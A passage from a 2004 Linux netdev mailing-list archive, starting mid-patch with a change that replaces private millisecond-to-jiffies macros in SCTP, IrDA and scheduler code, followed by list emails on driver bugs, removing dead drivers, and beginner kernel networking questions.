MSECS_TO_JIFFIES(m) msecs_to_jiffies(m) - /* * The TICK_NSEC - 1 rounds up the value to the next resolution. Note * that a remainder subtract here would not do the right thing as the diff -puN kernel/sched.c~MSEC_TO_JIFFIES-to-msec_to_jiffies kernel/sched.c --- 25/kernel/sched.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/kernel/sched.c Thu May 13 15:35:15 2004 @@ -1873,7 +1873,7 @@ static void rebalance_tick(int this_cpu, interval *= sd->busy_factor; /* scale ms to jiffies */ - interval = MSECS_TO_JIFFIES(interval); + interval = msecs_to_jiffies(interval); if (unlikely(!interval)) interval = 1; diff -puN net/irda/ircomm/ircomm_tty.c~MSEC_TO_JIFFIES-to-msec_to_jiffies net/irda/ircomm/ircomm_tty.c --- 25/net/irda/ircomm/ircomm_tty.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/net/irda/ircomm/ircomm_tty.c Thu May 13 15:35:15 2004 @@ -873,7 +873,7 @@ static void ircomm_tty_wait_until_sent(s orig_jiffies = jiffies; /* Set poll time to 200 ms */ - poll_time = IRDA_MIN(timeout, MSECS_TO_JIFFIES(200)); + poll_time = IRDA_MIN(timeout, msecs_to_jiffies(200)); spin_lock_irqsave(&self->spinlock, flags); while (self->tx_skb && self->tx_skb->len) { diff -puN net/irda/irlap_event.c~MSEC_TO_JIFFIES-to-msec_to_jiffies net/irda/irlap_event.c --- 25/net/irda/irlap_event.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/net/irda/irlap_event.c Thu May 13 15:35:15 2004 @@ -627,7 +627,7 @@ static int irlap_state_query(struct irla if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(2, "%s(), device is slow to answer, " "waiting some more!\n", __FUNCTION__); - irlap_start_slot_timer(self, MSECS_TO_JIFFIES(10)); + irlap_start_slot_timer(self, msecs_to_jiffies(10)); self->add_wait = TRUE; return ret; } @@ -849,7 +849,7 @@ static int irlap_state_setup(struct irla * 1.5 times the time taken to transmit a SNRM frame. So this time should * between 15 msecs and 45 msecs. */ - irlap_start_backoff_timer(self, MSECS_TO_JIFFIES(20 + + irlap_start_backoff_timer(self, msecs_to_jiffies(20 + (jiffies % 30))); } else { /* Always switch state before calling upper layers */ @@ -1506,7 +1506,7 @@ static int irlap_state_nrm_p(struct irla if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(1, "FINAL_TIMER_EXPIRED when receiving a " "frame! Waiting a little bit more!\n"); - irlap_start_final_timer(self, MSECS_TO_JIFFIES(300)); + irlap_start_final_timer(self, msecs_to_jiffies(300)); /* * Don't allow this to happen one more time in a row, diff -puN net/sctp/associola.c~MSEC_TO_JIFFIES-to-msec_to_jiffies net/sctp/associola.c --- 25/net/sctp/associola.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/net/sctp/associola.c Thu May 13 15:35:15 2004 @@ -142,9 +142,9 @@ struct sctp_association *sctp_associatio * socket values. */ asoc->max_retrans = sp->assocparams.sasoc_asocmaxrxt; - asoc->rto_initial = MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); - asoc->rto_max = MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); - asoc->rto_min = MSECS_TO_JIFFIES(sp->rtoinfo.srto_min); + asoc->rto_initial = msecs_to_jiffies(sp->rtoinfo.srto_initial); + asoc->rto_max = msecs_to_jiffies(sp->rtoinfo.srto_max); + asoc->rto_min = msecs_to_jiffies(sp->rtoinfo.srto_min); asoc->overall_error_count = 0; @@ -170,7 +170,7 @@ struct sctp_association *sctp_associatio asoc->max_init_attempts = sp->initmsg.sinit_max_attempts; asoc->max_init_timeo = - MSECS_TO_JIFFIES(sp->initmsg.sinit_max_init_timeo); + msecs_to_jiffies(sp->initmsg.sinit_max_init_timeo); /* Allocate storage for the ssnmap after the inbound and outbound * streams have been negotiated during Init. @@ -507,7 +507,7 @@ struct sctp_transport *sctp_assoc_add_pe /* Initialize the peer's heartbeat interval based on the * sock configured value. */ - peer->hb_interval = MSECS_TO_JIFFIES(sp->paddrparam.spp_hbinterval); + peer->hb_interval = msecs_to_jiffies(sp->paddrparam.spp_hbinterval); /* Set the path max_retrans. */ peer->max_retrans = asoc->max_retrans; diff -puN net/sctp/chunk.c~MSEC_TO_JIFFIES-to-msec_to_jiffies net/sctp/chunk.c --- 25/net/sctp/chunk.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/net/sctp/chunk.c Thu May 13 15:35:15 2004 @@ -186,7 +186,7 @@ struct sctp_datamsg *sctp_datamsg_from_u if (sinfo->sinfo_timetolive) { /* sinfo_timetolive is in milliseconds */ msg->expires_at = jiffies + - MSECS_TO_JIFFIES(sinfo->sinfo_timetolive); + msecs_to_jiffies(sinfo->sinfo_timetolive); msg->can_abandon = 1; SCTP_DEBUG_PRINTK("%s: msg:%p expires_at: %ld jiffies:%ld\n", __FUNCTION__, msg, msg->expires_at, jiffies); diff -puN net/sctp/endpointola.c~MSEC_TO_JIFFIES-to-msec_to_jiffies net/sctp/endpointola.c --- 25/net/sctp/endpointola.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/net/sctp/endpointola.c Thu May 13 15:35:15 2004 @@ -129,7 +129,7 @@ struct sctp_endpoint *sctp_endpoint_init ep->timeouts[SCTP_EVENT_TIMEOUT_T1_INIT] = SCTP_DEFAULT_TIMEOUT_T1_INIT; ep->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = - MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); + msecs_to_jiffies(sp->rtoinfo.srto_initial); ep->timeouts[SCTP_EVENT_TIMEOUT_T3_RTX] = 0; ep->timeouts[SCTP_EVENT_TIMEOUT_T4_RTO] = 0; @@ -138,7 +138,7 @@ struct sctp_endpoint *sctp_endpoint_init * recommended value of 5 times 'RTO.Max'. */ ep->timeouts[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD] - = 5 * MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); + = 5 * msecs_to_jiffies(sp->rtoinfo.srto_max); ep->timeouts[SCTP_EVENT_TIMEOUT_HEARTBEAT] = SCTP_DEFAULT_TIMEOUT_HEARTBEAT; diff -puN net/sctp/socket.c~MSEC_TO_JIFFIES-to-msec_to_jiffies net/sctp/socket.c --- 25/net/sctp/socket.c~MSEC_TO_JIFFIES-to-msec_to_jiffies Thu May 13 15:35:15 2004 +++ 25-akpm/net/sctp/socket.c Thu May 13 15:36:40 2004 @@ -1224,7 +1224,7 @@ SCTP_STATIC int sctp_sendmsg(struct kioc } if (sinit->sinit_max_init_timeo) { asoc->max_init_timeo = - MSECS_TO_JIFFIES(sinit->sinit_max_init_timeo); + msecs_to_jiffies(sinit->sinit_max_init_timeo); } } @@ -1662,7 +1662,7 @@ static int sctp_setsockopt_peer_addr_par if (params.spp_hbinterval) { trans->hb_allowed = 1; trans->hb_interval = - MSECS_TO_JIFFIES(params.spp_hbinterval); + msecs_to_jiffies(params.spp_hbinterval); } else trans->hb_allowed = 0; } @@ -1835,11 +1835,11 @@ static int sctp_setsockopt_rtoinfo(struc if (asoc) { if (rtoinfo.srto_initial != 0) asoc->rto_initial = - MSECS_TO_JIFFIES(rtoinfo.srto_initial); + msecs_to_jiffies(rtoinfo.srto_initial); if (rtoinfo.srto_max != 0) - asoc->rto_max = MSECS_TO_JIFFIES(rtoinfo.srto_max); + asoc->rto_max = msecs_to_jiffies(rtoinfo.srto_max); if (rtoinfo.srto_min != 0) - asoc->rto_min = MSECS_TO_JIFFIES(rtoinfo.srto_min); + asoc->rto_min = msecs_to_jiffies(rtoinfo.srto_min); } else { /* If there is no association or the association-id = 0 * set the values to the endpoint. @@ -2379,14 +2379,14 @@ SCTP_STATIC int sctp_init_sock(struct so sp->initmsg.sinit_num_ostreams = sctp_max_outstreams; sp->initmsg.sinit_max_instreams = sctp_max_instreams; sp->initmsg.sinit_max_attempts = sctp_max_retrans_init; - sp->initmsg.sinit_max_init_timeo = JIFFIES_TO_MSECS(sctp_rto_max); + sp->initmsg.sinit_max_init_timeo = jiffies_to_msecs(sctp_rto_max); /* Initialize default RTO related parameters. These parameters can * be modified for with the SCTP_RTOINFO socket option. */ - sp->rtoinfo.srto_initial = JIFFIES_TO_MSECS(sctp_rto_initial); - sp->rtoinfo.srto_max = JIFFIES_TO_MSECS(sctp_rto_max); - sp->rtoinfo.srto_min = JIFFIES_TO_MSECS(sctp_rto_min); + sp->rtoinfo.srto_initial = jiffies_to_msecs(sctp_rto_initial); + sp->rtoinfo.srto_max = jiffies_to_msecs(sctp_rto_max); + sp->rtoinfo.srto_min = jiffies_to_msecs(sctp_rto_min); /* Initialize default association related parameters. These parameters * can be modified with the SCTP_ASSOCINFO socket option. @@ -2396,7 +2396,7 @@ SCTP_STATIC int sctp_init_sock(struct so sp->assocparams.sasoc_peer_rwnd = 0; sp->assocparams.sasoc_local_rwnd = 0; sp->assocparams.sasoc_cookie_life = - JIFFIES_TO_MSECS(sctp_valid_cookie_life); + jiffies_to_msecs(sctp_valid_cookie_life); /* Initialize default event subscriptions. By default, all the * options are off. @@ -2406,7 +2406,7 @@ SCTP_STATIC int sctp_init_sock(struct so /* Default Peer Address Parameters. These defaults can * be modified via SCTP_PEER_ADDR_PARAMS */ - sp->paddrparam.spp_hbinterval = JIFFIES_TO_MSECS(sctp_hb_interval); + sp->paddrparam.spp_hbinterval = jiffies_to_msecs(sctp_hb_interval); sp->paddrparam.spp_pathmaxrxt = sctp_max_retrans_path; /* If enabled no SCTP message fragmentation will be performed. @@ -2552,7 +2552,7 @@ static int sctp_getsockopt_sctp_status(s status.sstat_primary.spinfo_state = transport->active; status.sstat_primary.spinfo_cwnd = transport->cwnd; status.sstat_primary.spinfo_srtt = transport->srtt; - status.sstat_primary.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + status.sstat_primary.spinfo_rto = jiffies_to_msecs(transport->rto); status.sstat_primary.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2607,7 +2607,7 @@ static int sctp_getsockopt_peer_addr_inf pinfo.spinfo_state = transport->active; pinfo.spinfo_cwnd = transport->cwnd; pinfo.spinfo_srtt = transport->srtt; - pinfo.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + pinfo.spinfo_rto = jiffies_to_msecs(transport->rto); pinfo.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2811,7 +2811,7 @@ static int sctp_getsockopt_peer_addr_par if (!trans->hb_allowed) params.spp_hbinterval = 0; else - params.spp_hbinterval = JIFFIES_TO_MSECS(trans->hb_interval); + params.spp_hbinterval = jiffies_to_msecs(trans->hb_interval); /* spp_pathmaxrxt contains the maximum number of retransmissions * before this address shall be considered unreachable. @@ -3168,9 +3168,9 @@ static int sctp_getsockopt_rtoinfo(struc /* Values corresponding to the specific association. */ if (asoc) { - rtoinfo.srto_initial = JIFFIES_TO_MSECS(asoc->rto_initial); - rtoinfo.srto_max = JIFFIES_TO_MSECS(asoc->rto_max); - rtoinfo.srto_min = JIFFIES_TO_MSECS(asoc->rto_min); + rtoinfo.srto_initial = jiffies_to_msecs(asoc->rto_initial); + rtoinfo.srto_max = jiffies_to_msecs(asoc->rto_max); + rtoinfo.srto_min = jiffies_to_msecs(asoc->rto_min); } else { /* Values corresponding to the endpoint. */ struct sctp_opt *sp = sctp_sk(sk); _ From jgarzik@pobox.com Fri May 14 03:11:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 03:11:38 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EABUKO012527 for ; Fri, 14 May 2004 03:11:31 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BO0Hs-0006dI-HJ; Wed, 12 May 2004 21:25:09 +0100 Message-ID: <40A28815.2020009@pobox.com> Date: Wed, 12 May 2004 16:24:53 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton CC: Ingo Molnar , davidel@xmailserver.org, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> In-Reply-To: <20040512132050.6eae6905.akpm@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5135 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Andrew Morton wrote: > Yes, that's a correct optimisation. This is simply a namespace clash. Agreed. > How about we do: > > #if HZ=1000 > #define MSEC_TO_JIFFIES(msec) (msec) > #define JIFFIES_TO_MESC(jiffies) (jiffies) > #elif HZ=100 > #define MSEC_TO_JIFFIES(msec) (msec * 10) > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) > #else > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) > #define JIFFIES_TO_MSEC(jiffies) ... > #endif > > in some kernel-wide header then kill off all the private implementations? include/linux/time.h. One of the SCTP people already did this, but I suppose it's straightforward to reproduce. Jeff From linux_lover2004@yahoo.com Fri May 14 03:59:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 03:59:07 -0700 (PDT) Received: from web90109.mail.scd.yahoo.com (web90109.mail.scd.yahoo.com [66.218.94.80]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EAx2KO013410 for ; Fri, 14 May 2004 03:59:02 -0700 Message-ID: <20040514093103.94008.qmail@web90109.mail.scd.yahoo.com> Received: from [203.199.141.99] by web90109.mail.scd.yahoo.com via HTTP; Fri, 14 May 2004 02:31:03 PDT Date: Fri, 14 May 2004 02:31:03 -0700 (PDT) From: linux lover Subject: question about ip_build_xmit To: netdev MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5136 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: linux_lover2004@yahoo.com Precedence: bulk X-list: netdev hello , In ip_output.c file there is ip_build_xmit function call. when packet comes from tcp layer to IP layer this function is called. In that i found that skb = sock_alloc_send_skb(sk, length+hh_len+15 ,flags&MSG_DONTWAIT, &err); staement allocates skb for packet. after that i found that no iphdr adding statement in ip_build_xmit. i want to know where is iphdr push to skb? cause skb works using first alloc_skb to allocate memory then skb_reserve to reserve headroom then put data in skb by skb_put or skb_push for pushing headers in skb. so there i found skb->nh.iph = iph = (struct iphdr *)skb_put(skb, length); statement is this does that iphdr adding? regards, linuxlover __________________________________ Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. http://promo.yahoo.com/sbc/ From pp@ee.oulu.fi Fri May 14 06:02:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 06:02:14 -0700 (PDT) Received: from ee.oulu.fi (ee.oulu.fi [130.231.61.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ED29KO019123 for ; Fri, 14 May 2004 06:02:10 -0700 Received: from tk28.oulu.fi (tk28 [130.231.48.68]) by ee.oulu.fi (8.12.10/8.12.10) with ESMTP id i4ED26Rp015522; Fri, 14 May 2004 16:02:06 +0300 (EEST) Received: (from pp@localhost) by tk28.oulu.fi (8.12.11/8.12.11/Submit) id i4ED26q5010618; Fri, 14 May 2004 16:02:06 +0300 (EEST) Date: Fri, 14 May 2004 16:02:06 +0300 From: Pekka Pietikainen To: Miroslav Zubcic Cc: linux-kernel@vger.kernel.org, pavel@ucw.cz, netdev@oss.sgi.com Subject: Re: ethernet/b44: Bug in b44.c:v0.93 (Mar, 2004) ethernet driver in 2.6.6 Message-ID: <20040514130206.GA9583@ee.oulu.fi> References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2i X-archive-position: 5137 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pp@ee.oulu.fi Precedence: bulk X-list: netdev On Fri, May 14, 2004 at 01:17:46AM +0200, Miroslav Zubcic wrote: > After reading Changelog for 2.6.6, I have seen b44 driver was updated, > and it should support new HP/compaq laptops now. I tried 2.6.6 kernel, > but I have a problem: b44 module does not work(TM). > > modprobe b44 and `ip link set dev eth0 up' gives this in dmesg: > > -------------- > b44.c:v0.93 (Mar, 2004) > PCI: Guessed IRQ 11 for device 0000:01:0e.0 > divert: allocating divert_blk for eth0 > eth0: Broadcom 4400 10/100BaseT Ethernet 00:08:02:e2:2d:ba > b44: eth0: BUG! Timeout waiting for bit 80000000 of register 428 to clear. > b44: eth0: BUG! Timeout waiting for bit 80000000 of register 428 to clear. > b44: eth0: BUG! Timeout waiting for bit 80000000 of register 428 to clear. > Host pinging on network timeouts with icmp destination host > Output from "/sbin/ip addr list" looks perfectly normal BTW. :-\ > > It works OK with 2.4.21 kernel and bcm4401 driver from broadcom > www site. It does not work with 2.6.5 in any way. Hi This bug has appeared in the past too (eg. http://bugzilla.kernel.org/show_bug.cgi?id=2030 ), for me it triggers only when using a broadcom driver and then trying b44 without a cold reset or using the workaround in the bug report that runs a part of bcm4400 initialization process. Another known bug has been seen when using 4G/4G split and having > 1G of memory (https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=118165 , bugzilla is broken currently tho), but if you have more than a gig mem=900M or whatnot is worth a try in any case. Since it works perfectly (tm) on my hardware assuming I never load bcm4400 I haven't put that much effort in tracking the reason what magic "break b44 bit" bit broadcom drivers set. I suppose I could give it a few hours this weekend tho... On some machines (I think dells) the timeout waiting for 428 appears to happen even without bcm4400 getting loaded so finally tracking this down would be really nice... From linux_lover2004@yahoo.com Fri May 14 06:28:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 06:28:38 -0700 (PDT) Received: from web90105.mail.scd.yahoo.com (web90105.mail.scd.yahoo.com [66.218.94.76]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EDSaKO024899 for ; Fri, 14 May 2004 06:28:36 -0700 Message-ID: <20040514110147.66697.qmail@web90105.mail.scd.yahoo.com> Received: from [203.199.141.99] by web90105.mail.scd.yahoo.com via HTTP; Fri, 14 May 2004 04:01:47 PDT Date: Fri, 14 May 2004 04:01:47 -0700 (PDT) From: linux lover Subject: /proc query To: netdev Cc: linux-kernel@vger.kernel.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5138 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: linux_lover2004@yahoo.com Precedence: bulk X-list: netdev hello, can it be possible to allow /proc new entry file to update its value after few times. i implemented a file /proc/text that updates text value at each seconds not after 1 minutes. for that i am using sleep. is it allow to use sleep in kernel source modification. regards, linuxlover __________________________________ Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. http://promo.yahoo.com/sbc/ From corbet@lwn.net Fri May 14 08:44:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 08:44:55 -0700 (PDT) Received: from lwn.net (vena.lwn.net [206.168.112.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EFinKO000747 for ; Fri, 14 May 2004 08:44:50 -0700 Received: (qmail 4362 invoked by uid 501); 14 May 2004 15:44:49 -0000 Message-ID: <20040514154449.4360.qmail@lwn.net> To: netdev@oss.sgi.com Subject: [PATCH] Remove auto_irq.c cc: jgarzik@pobox.com From: Jonathan Corbet Date: Fri, 14 May 2004 09:44:49 -0600 X-archive-position: 5139 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: corbet@lwn.net Precedence: bulk X-list: netdev I was looking to see if anything still uses the autoirq_* functions in 2.6. Turns out that nothing does; in fact, the file is not even compiled. I would guess we don't need to lug auto_irq.c around anymore... jon diff -purN -X dontdiff 2.6.6-vanilla/drivers/net/auto_irq.c 2.6.6/drivers/net/auto_irq.c --- 2.6.6-vanilla/drivers/net/auto_irq.c 2003-09-08 13:50:06.000000000 -0600 +++ 2.6.6/drivers/net/auto_irq.c 1969-12-31 17:00:00.000000000 -0700 @@ -1,68 +0,0 @@ -/* auto_irq.c: Auto-configure IRQ lines for linux. */ -/* - Written 1994 by Donald Becker. - - The author may be reached as becker@scyld.com - - This code is a general-purpose IRQ line detector for devices with - jumpered IRQ lines. If you can make the device raise an IRQ (and - that IRQ line isn't already being used), these routines will tell - you what IRQ line it's using -- perfect for those oh-so-cool boot-time - device probes! - - To use this, first call autoirq_setup(timeout). TIMEOUT is how many - 'jiffies' (1/100 sec.) to detect other devices that have active IRQ lines, - and can usually be zero at boot. 'autoirq_setup()' returns the bit - vector of nominally-available IRQ lines (lines may be physically in-use, - but not yet registered to a device). - Next, set up your device to trigger an interrupt. - Finally call autoirq_report(TIMEOUT) to find out which IRQ line was - most recently active. The TIMEOUT should usually be zero, but may - be set to the number of jiffies to wait for a slow device to raise an IRQ. - - The idea of using the setup timeout to filter out bogus IRQs came from - the serial driver. -*/ - - -#ifdef version -static const char *version= -"auto_irq.c:v1.11 Donald Becker (becker@scyld.com)"; -#endif - -#include -#include -#include -#include -#include -#include -#include - -static unsigned long irqs; - -void autoirq_setup(int waittime) -{ - irqs = probe_irq_on(); -} - -#define BUSY_LOOP_UNTIL(j) while ((long)(jiffies-(j)) < 0) ; -int autoirq_report(int waittime) -{ - unsigned long delay = jiffies + waittime; - BUSY_LOOP_UNTIL(delay) - return probe_irq_off(irqs); -} - -EXPORT_SYMBOL(autoirq_setup); -EXPORT_SYMBOL(autoirq_report); - - -/* - * Local variables: - * compile-command: "gcc -DKERNEL -Wall -O6 -fomit-frame-pointer -I/usr/src/linux/net/tcp -c auto_irq.c" - * version-control: t - * kept-new-versions: 5 - * c-indent-level: 4 - * tab-width: 4 - * End: - */ From johpe@vimmerbytidning.se Fri May 14 08:47:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 08:47:17 -0700 (PDT) Received: from av9-2-sn4.m-sp.skanova.net (av9-2-sn4.m-sp.skanova.net [81.228.10.107]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EFl7KO001157 for ; Fri, 14 May 2004 08:47:11 -0700 Received: by av9-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id F3D4C37E7C; Fri, 14 May 2004 17:47:01 +0200 (CEST) Received: from smtp2-2-sn4.m-sp.skanova.net (smtp2-2-sn4.m-sp.skanova.net [81.228.10.182]) by av9-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id E5CD437E56; Fri, 14 May 2004 17:47:01 +0200 (CEST) Received: from freelancer (h214n2fls313o1049.telia.com [81.228.185.214]) by smtp2-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id 7C06A37E46; Fri, 14 May 2004 17:47:01 +0200 (CEST) Reply-To: From: "Johannes Petersson" To: , Cc: Subject: r8169 and 2.4.26 finally working Date: Fri, 14 May 2004 17:46:57 +0200 Organization: Vimmerby Tidning Message-ID: <000001c439ca$b0c39040$4500a8c0@freelancer> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-archive-position: 5140 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: johpe@vimmerbytidning.se Precedence: bulk X-list: netdev Hello This is the story so far, how it finally worked out and a bit of a recap for the netdev@oss.sgi.com list. I run Slackware 9.1 on a server with a MSI motherboard that has a RealTek 8169 gigabit lan. When copying large files from the server it hangs / crashes and it is really slow when writing large files to the server. From reading on the net I found out that the original r8169 driver (ver. 1.2) is not working properly. I first compiled and installed the 2.4.26 kernel and hoped that it would solve my problems which it didn't. Then I was in contact with both Francois Romieu and Adam Nielsen since these guys had been writing a lot of very informative stuff on the subject at seclists.org and netdev@oss.sgi.com. I downloaded and tried their three different patches: http://www.fr.zoreil.com/people/francois/misc/20040420-2.4.26-r8169.c-st able.patch http://www.fr.zoreil.com/people/francois/misc/20040504-2.4.27-pre1-r8169 .c-test.patch http://seclists.org/lists/linux-kernel/2004/Apr/0627.html The patches were tried one at a time to the vanilla sources for the 2.4.26 kernel. The 2.4.26-r8169.c-stable.patch gave the usual error about not beeing able to patch the file completely when I applied it to the kernel source. The patch from Adam didn't work for me either, it too, gave the usual message about not beeing able to patch the file. The only patched that actually applied without any problems to the kernel was the 20040504-2.4.27-pre1-r8169.c-test.patch from Francois. At that time I had some hope. But while compiling the kernel with the 2.4.27-pre1-r8169 patch I got the following compile errors when I issued "make bzImage": Implicit declaration of netdev_priv (I continued anyway with make modules, and make modules_install). Make modules_install gave me this error: Depmod: unresolved symbols in /lib/modules/2.4.26/.../r8169.o After rebooting this kernel, the rtl8169 driver of course didn't work. Then I thought that I would have to resort to compiling and installing the 2.6.6 kernel which is supposed to solve the problem according to Francois and Adam. But before I did this I gave the official driver (ver. 1.6) from RealTeks homepage a try: http://www.realtek.com.tw/downloads/downloads1-3.aspx?software=True&comp amodel=RTL8169S-32%2F64 I compiled and installed the driver and did modprobe and started doing some testing. As it turns out the system actually worked with this driver. I rebooted and since then the server has been up and running without problems. Maybe RealTeks 1.6 driver isn't the best, but it works for me with kernel 2.4.26 and performs pretty well while copying files in the gigabit lan. I hope this little novel of mine can help somebody else with the same problem and big thanks to Francois and Adam for helping me out. Sincerely Johannes Petersson From jgarzik@pobox.com Fri May 14 10:20:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 10:20:33 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EHKRKO002933 for ; Fri, 14 May 2004 10:20:30 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BOgME-0000we-2L; Fri, 14 May 2004 18:20:26 +0100 Message-ID: <40A4FFCD.7040704@pobox.com> Date: Fri, 14 May 2004 13:20:13 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Linux Kernel , Netdev Subject: [RFT] acenic net driver Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5141 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Christoph was kind enough to convert acenic to use the PCI API. Can someone with an acenic card download Andrew Morton's -mm tree (which contains Christoph's work), and verify that the driver still works? Nothing elaborate required, just wanted to make sure nothing was broken in the conversion to PCI API. Thanks, Jeff From jgarzik@pobox.com Fri May 14 10:32:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 14 May 2004 10:32:22 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4EHWGKO003345 for ; Fri, 14 May 2004 10:32:19 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BOgXf-00013V-IX; Fri, 14 May 2004 18:32:15 +0100 Message-ID: <40A50292.3070601@pobox.com> Date: Fri, 14 May 2004 13:32:02 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: netdev@oss.sgi.com, Linux Kernel , Andrew Morton , Krzysztof Halasa , Pete Popov Subject: Re: [PATCH] remove comx drivers from tree References: <20040507111725.GA11575@lst.de> In-Reply-To: <20040507111725.GA11575@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5142 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Christoph Hellwig wrote: > the drivers have been broken since pre-2.4.0, like referencing a symbol > that was made procfs-internal in 2.3.x, haven't received maintainer > updates for about the same period and MOD_{INC,DEC}_USE_COUNT usage that > pretty much unfixable (inside warts of _horrible_ procfs abuse). > > I'd say just kill them. I have applied this to my netdev-2.6 tree, and so it should show up in -mm sometime. 